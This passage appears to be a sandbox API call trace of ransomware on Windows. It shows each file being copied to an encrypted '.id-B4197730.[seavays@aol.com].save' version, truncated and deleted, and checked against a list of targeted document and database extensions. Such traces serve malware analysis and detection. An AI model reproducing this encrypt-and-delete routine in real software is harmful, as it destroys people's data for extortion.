"c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.734] GetLastError () returned 0x0 [0054.734] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x13148, lpOverlapped=0x0) returned 1 [0055.209] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x13150, lpOverlapped=0x0) returned 1 [0055.211] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.211] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe6, lpOverlapped=0x0) returned 1 [0055.211] SetEndOfFile (hFile=0x348) returned 1 [0055.212] CloseHandle (hObject=0x348) returned 1 [0055.214] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.214] SetEndOfFile (hFile=0x2fc) returned 1 [0055.215] CloseHandle (hObject=0x2fc) returned 1 [0055.215] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0055.216] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0055.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.216] lstrlenW (lpString=".doc") returned 4 [0055.216] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.216] lstrlenW (lpString=".docx") returned 5 [0055.216] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0055.216] lstrlenW (lpString=".pdf") returned 4 [0055.216] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.216] lstrlenW (lpString=".xls") returned 4 [0055.216] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.216] lstrlenW (lpString=".xlsx") returned 5 [0055.216] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0055.216] lstrlenW (lpString=".ppt") returned 4 [0055.216] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.216] lstrlenW (lpString=".zip") returned 4 [0055.216] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.216] lstrlenW (lpString=".rar") returned 4 [0055.216] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.216] lstrlenW (lpString=".bz2") returned 4 [0055.217] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.217] lstrlenW (lpString=".7z") returned 3 [0055.217] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.217] lstrlenW (lpString=".dbf") returned 4 [0055.217] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.217] lstrlenW (lpString=".1cd") returned 4 [0055.217] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.217] lstrlenW (lpString=".jpg") returned 4 [0055.217] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.217] lstrlenW (lpString=".doc") returned 4 [0055.217] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.217] lstrlenW (lpString=".docx") returned 5 [0055.217] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0055.217] lstrlenW (lpString=".pdf") returned 4 [0055.217] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.217] lstrlenW (lpString=".xls") returned 4 [0055.217] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.217] lstrlenW (lpString=".xlsx") returned 5 [0055.217] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0055.217] lstrlenW (lpString=".ppt") returned 4 [0055.217] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.217] lstrlenW (lpString=".zip") returned 4 [0055.217] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.217] lstrlenW (lpString=".rar") returned 4 [0055.218] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.218] lstrlenW (lpString=".bz2") returned 4 [0055.218] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.218] lstrlenW (lpString=".7z") returned 3 [0055.218] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.218] lstrlenW (lpString=".dbf") returned 4 [0055.218] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.218] lstrlenW (lpString=".1cd") returned 4 [0055.218] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0055.218] lstrlenW (lpString=".jpg") returned 4 [0055.218] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.218] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0055.218] lstrlenW (lpString="SetupUi.dll") returned 11 [0055.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.218] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=295248) returned 1 [0055.218] CloseHandle (hObject=0x2fc) returned 1 [0055.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0055.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0055.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.219] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.219] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0055.219] GetLastError () returned 0x0 [0055.219] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x48150, lpOverlapped=0x0) returned 1 [0055.226] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x48160, lpOverlapped=0x0) returned 1 [0055.232] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.232] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0055.232] SetEndOfFile (hFile=0x348) returned 1 [0055.233] CloseHandle (hObject=0x348) returned 1 [0055.239] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.239] SetEndOfFile (hFile=0x2fc) returned 1 [0055.242] CloseHandle (hObject=0x2fc) returned 1 [0055.242] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0055.242] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0055.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.243] lstrlenW (lpString=".doc") returned 4 [0055.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.243] lstrlenW (lpString=".docx") returned 5 [0055.243] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.243] lstrlenW (lpString=".pdf") returned 4 [0055.243] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.243] lstrlenW (lpString=".xls") returned 4 [0055.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.243] lstrlenW (lpString=".xlsx") returned 5 [0055.243] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.243] lstrlenW (lpString=".ppt") returned 4 [0055.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.243] lstrlenW (lpString=".zip") returned 4 [0055.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.243] lstrlenW (lpString=".rar") returned 4 [0055.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.243] lstrlenW (lpString=".bz2") returned 4 [0055.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.243] lstrlenW (lpString=".7z") returned 3 [0055.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.243] lstrlenW (lpString=".dbf") returned 4 [0055.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.243] lstrlenW (lpString=".1cd") returned 4 [0055.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.243] lstrlenW (lpString=".jpg") returned 4 [0055.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.244] lstrlenW (lpString=".doc") returned 4 [0055.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString=".docx") returned 5 [0055.244] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.244] lstrlenW (lpString=".pdf") returned 4 [0055.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString=".xls") returned 4 [0055.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString=".xlsx") returned 5 [0055.244] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.244] lstrlenW (lpString=".ppt") returned 4 [0055.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.244] lstrlenW (lpString=".zip") returned 4 [0055.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString=".rar") returned 4 [0055.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.244] lstrlenW (lpString=".bz2") returned 4 [0055.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.244] lstrlenW (lpString=".7z") returned 3 [0055.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.244] lstrlenW (lpString=".dbf") returned 4 [0055.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.244] lstrlenW (lpString=".1cd") returned 4 [0055.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0055.244] lstrlenW (lpString=".jpg") returned 4 [0055.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.245] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0055.245] lstrlenW (lpString="SetupUtility.exe") returned 16 [0055.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.245] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=96088) returned 1 [0055.245] CloseHandle (hObject=0x2fc) returned 1 [0055.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0055.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0055.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.245] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.245] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0055.246] GetLastError () returned 0x0 [0055.246] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x17758, lpOverlapped=0x0) returned 1 [0055.678] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x17760, lpOverlapped=0x0) returned 1 [0055.680] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.680] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf4, lpOverlapped=0x0) returned 1 [0055.680] SetEndOfFile (hFile=0x348) returned 1 [0055.681] CloseHandle (hObject=0x348) returned 1 [0055.683] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.683] SetEndOfFile (hFile=0x2fc) returned 1 [0055.684] CloseHandle (hObject=0x2fc) returned 1 [0055.684] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0055.685] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0055.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.685] lstrlenW (lpString=".doc") returned 4 [0055.685] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.685] lstrlenW (lpString=".docx") returned 5 [0055.685] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0055.685] lstrlenW (lpString=".pdf") returned 4 [0055.685] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.685] lstrlenW (lpString=".xls") returned 4 [0055.685] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.685] lstrlenW (lpString=".xlsx") returned 5 [0055.685] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0055.685] lstrlenW (lpString=".ppt") returned 4 [0055.685] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.685] lstrlenW (lpString=".zip") returned 4 [0055.686] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.686] lstrlenW (lpString=".rar") returned 4 [0055.686] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.686] lstrlenW (lpString=".bz2") returned 4 [0055.686] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.686] lstrlenW (lpString=".7z") returned 3 [0055.686] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.686] lstrlenW (lpString=".dbf") returned 4 [0055.686] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.686] lstrlenW (lpString=".1cd") returned 4 [0055.686] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.686] lstrlenW (lpString=".jpg") returned 4 [0055.686] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.686] lstrlenW (lpString=".doc") returned 4 [0055.686] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.686] lstrlenW (lpString=".docx") returned 5 [0055.686] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0055.686] lstrlenW (lpString=".pdf") returned 4 [0055.686] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.686] lstrlenW (lpString=".xls") returned 4 [0055.686] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.686] lstrlenW (lpString=".xlsx") returned 5 [0055.686] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0055.686] lstrlenW (lpString=".ppt") returned 4 [0055.686] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.687] lstrlenW (lpString=".zip") returned 4 [0055.687] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.687] lstrlenW (lpString=".rar") returned 4 [0055.687] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.687] lstrlenW (lpString=".bz2") returned 4 [0055.687] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.687] lstrlenW (lpString=".7z") returned 3 [0055.687] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.687] lstrlenW (lpString=".dbf") returned 4 [0055.687] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.687] lstrlenW (lpString=".1cd") returned 4 [0055.687] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0055.687] lstrlenW (lpString=".jpg") returned 4 [0055.687] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.687] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0055.687] lstrlenW (lpString="sqmapi.dll") returned 10 [0055.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.688] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=144416) returned 1 [0055.688] CloseHandle (hObject=0x2fc) returned 1 [0055.688] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0055.688] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0055.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.688] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.688] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0055.688] GetLastError () returned 0x0 [0055.688] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x23420, lpOverlapped=0x0) returned 1 [0055.692] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x23430, lpOverlapped=0x0) returned 1 [0055.695] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.695] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe8, lpOverlapped=0x0) returned 1 [0055.695] SetEndOfFile (hFile=0x348) returned 1 [0055.695] CloseHandle (hObject=0x348) returned 1 [0055.699] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.699] SetEndOfFile (hFile=0x2fc) returned 1 [0055.700] CloseHandle (hObject=0x2fc) returned 1 [0055.700] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0055.701] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0055.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.704] lstrlenW (lpString=".doc") returned 4 [0055.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString=".docx") returned 5 [0055.705] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.705] lstrlenW (lpString=".pdf") returned 4 [0055.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString=".xls") returned 4 [0055.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString=".xlsx") returned 5 [0055.705] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.705] lstrlenW (lpString=".ppt") returned 4 [0055.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0055.705] lstrlenW (lpString=".zip") returned 4 [0055.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString=".rar") returned 4 [0055.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.705] lstrlenW (lpString=".bz2") returned 4 [0055.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.705] lstrlenW (lpString=".7z") returned 3 [0055.705] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.705] lstrlenW 